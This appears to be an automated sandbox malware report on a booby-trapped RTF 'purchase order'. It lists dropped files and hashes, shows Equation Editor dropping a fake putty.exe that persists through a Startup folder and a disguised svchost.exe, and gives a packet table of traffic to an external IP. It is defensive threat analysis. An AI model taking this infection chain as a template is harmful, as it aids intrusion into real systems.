Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FCPAQPOU283AO764ZRGF.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HRCPZKAQJPHRKCJGAOB6.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J3LJ5ZTSD62CYZT7K57S.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L1K4Z3QAV8WJSJXBXXLF.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L5VVX7YYIMT7DW11Y4X5.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X19R6W5JAWN25N20PW1T.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YOS2534Q547WV8UUME7Q.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	144168
Entropy (8bit):	5.669635797936692
Encrypted:	false
SSDEEP:	1536:Xyw+Fl90LoD0ZCAz15f22kDM7bOjaH4ZinJ0iQjx:XyhFDhD0gOqQQjx
MD5:	F72277EEBAF6B7E2891B7BA24188EBDA
SHA1:	4E50012A8102409F570EE4B36785D7BAA5DCA364
SHA-256:	9B907AE3D2D9F776C068A4B2371D1BFC04E0ED359FC68B8863660301C5A644B9
SHA-512:	D10AB16ECF5035E9BA5C7373B9E9F5E26B01C9669318DC9EF558224F63237C9EF0FE32263C0C1F7A848EF4FC68AA3F91E8D0FADB2C3A93A14A5F1CD0D45DA67D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..L...........k... ........@.. ...............................k....`.................................xk..S.......................(....`....................................................... ............... ..H............text....K... ...L.................. ..`.rsrc................N..............@..@.reloc.......`......................@..B.................k......H........@..\+...........................................................".(.....B.(.......(.....>..r,..p.o/....".(0....Vs....(1...t...........0..............r...p......%.r...p.%.r...p.%.r...p.(....r!..po.......r#..p(.....+........,............(.......r'..p(......,..........(.......r+..p(......,...........(.........+...*.0...........~......(....t.....+........r/..p.......%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%..r...p.%..r...p.%..r...p.%

C:\Users\user\AppData\Roaming\putty.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	144168
Entropy (8bit):	5.669635797936692
Encrypted:	false
SSDEEP:	1536:Xyw+Fl90LoD0ZCAz15f22kDM7bOjaH4ZinJ0iQjx:XyhFDhD0gOqQQjx
MD5:	F72277EEBAF6B7E2891B7BA24188EBDA
SHA1:	4E50012A8102409F570EE4B36785D7BAA5DCA364
SHA-256:	9B907AE3D2D9F776C068A4B2371D1BFC04E0ED359FC68B8863660301C5A644B9
SHA-512:	D10AB16ECF5035E9BA5C7373B9E9F5E26B01C9669318DC9EF558224F63237C9EF0FE32263C0C1F7A848EF4FC68AA3F91E8D0FADB2C3A93A14A5F1CD0D45DA67D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..L...........k... ........@.. ...............................k....`.................................xk..S.......................(....`....................................................... ............... ..H............text....K... ...L.................. ..`.rsrc................N..............@..@.reloc.......`......................@..B.................k......H........@..\+...........................................................".(.....B.(.......(.....>..r,..p.o/....".(0....Vs....(1...t...........0..............r...p......%.r...p.%.r...p.%.r...p.(....r!..po.......r#..p(.....+........,............(.......r'..p(......,..........(.......r+..p(......,...........(.........+...*.0...........~......(....t.....+........r/..p.......%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%..r...p.%..r...p.%..r...p.%

C:\Users\user\Desktop\~$stomer-unionroadwaysltd-8754-PO.doc__.rtf Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVysAiJNGlzgYGwg32LbO/ln:vdsCkWthASq+l
MD5:	4CDEC46BF4C5E1435E277CB4821D6306
SHA1:	506F3E77835A2AE504189833D4EF30799A0ACE45
SHA-256:	39A3F2156450758ACBBCB3D8E9461BB4CDD93F41A3EC3A4013F4EB8D2A906537
SHA-512:	7039ED1E181A8368526A65F6F0D2F70E5BCEBD37BB3BFD8E270BB305F405DB0D843B1CAF6E4E05F6CF1D203A8AA326A1316CDDDD085DD59DB15A82A26E6FA575
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	144168
Entropy (8bit):	5.669635797936692
Encrypted:	false
SSDEEP:	1536:Xyw+Fl90LoD0ZCAz15f22kDM7bOjaH4ZinJ0iQjx:XyhFDhD0gOqQQjx
MD5:	F72277EEBAF6B7E2891B7BA24188EBDA
SHA1:	4E50012A8102409F570EE4B36785D7BAA5DCA364
SHA-256:	9B907AE3D2D9F776C068A4B2371D1BFC04E0ED359FC68B8863660301C5A644B9
SHA-512:	D10AB16ECF5035E9BA5C7373B9E9F5E26B01C9669318DC9EF558224F63237C9EF0FE32263C0C1F7A848EF4FC68AA3F91E8D0FADB2C3A93A14A5F1CD0D45DA67D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..L...........k... ........@.. ...............................k....`.................................xk..S.......................(....`....................................................... ............... ..H............text....K... ...L.................. ..`.rsrc................N..............@..@.reloc.......`......................@..B.................k......H........@..\+...........................................................".(.....B.(.......(.....>..r,..p.o/....".(0....Vs....(1...t...........0..............r...p......%.r...p.%.r...p.%.r...p.(....r!..po.......r#..p(.....+........,............(.......r'..p(......,..........(.......r+..p(......,...........(.........+...*.0...........~......(....t.....+........r/..p.......%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%..r...p.%..r...p.%..r...p.%

Static File Info

General
File type:	Rich Text Format data, version 1, unknown character set
Entropy (8bit):	4.002762351056112
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	Customer-unionroadwaysltd-8754-PO.doc__.rtf
File size:	1323327
MD5:	97021239d41dc5efd26c0c26e922f06f
SHA1:	1b1faa516a3774fb55f2473b21c9a189fffad8f7
SHA256:	32269783938f1e9c0b60f92653957b6cbe356a3bd47b5df970f7485c16d327cf
SHA512:	e38a17f7f4b1df4823fc8584a337e64336c613c165138db37a36435a165bb11b8564015899c742e22b7e9d9246f6bf4216445dd8cbafcadc5cb8ce24725fd432
SSDEEP:	24576:VBFeohGLeQWeXVJWUqXAVPsq7tuVYoI6RQb22Yy/bM671OY+AUvqHYCJeUTjDlRG:v
File Content Preview:	{\rtf1323{\object20375041 \'' \objocx68470100\+\objupdate8512205885122058 \objw7690\objh1217{\\objdata588088 {{{{{{{{{{{{{{{{{{{{{{{\bin0000000 {\\objdata588088 } \*\password537785346 Yc2P4f

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	000000CEh								no
1	00000094h								no

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 12:04:48.951822042 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.033627987 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.033741951 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.033925056 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.116209984 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.116260052 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.116298914 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.116377115 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.116439104 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.116528034 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.198018074 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198076010 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198193073 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.198214054 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198256969 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198331118 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.198379040 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198446035 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198519945 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.198590040 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198726892 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.198792934 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.280260086 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.280355930 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.280395985 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.280433893 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.280492067 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.280527115 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.280738115 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.280858040 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.280930042 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.280970097 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281089067 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281169891 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.281183004 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281279087 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281341076 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.281400919 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281542063 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281605959 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.281658888 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281773090 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281838894 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.281897068 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.281980038 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.282063961 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.283174992 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.362546921 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.362595081 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.362643957 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.362687111 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.362694025 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.362752914 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.362798929 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.362910986 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.362972021 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.362999916 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363132954 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363198996 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.363230944 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363354921 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363423109 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.363492966 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363538027 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363600969 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.363763094 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363843918 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363893032 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.363919020 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.364047050 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364120007 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.364130974 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364227057 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364286900 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.364330053 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364454031 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364512920 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.364612103 CEST	80	49165	41.231.5.212	192.168.2.22
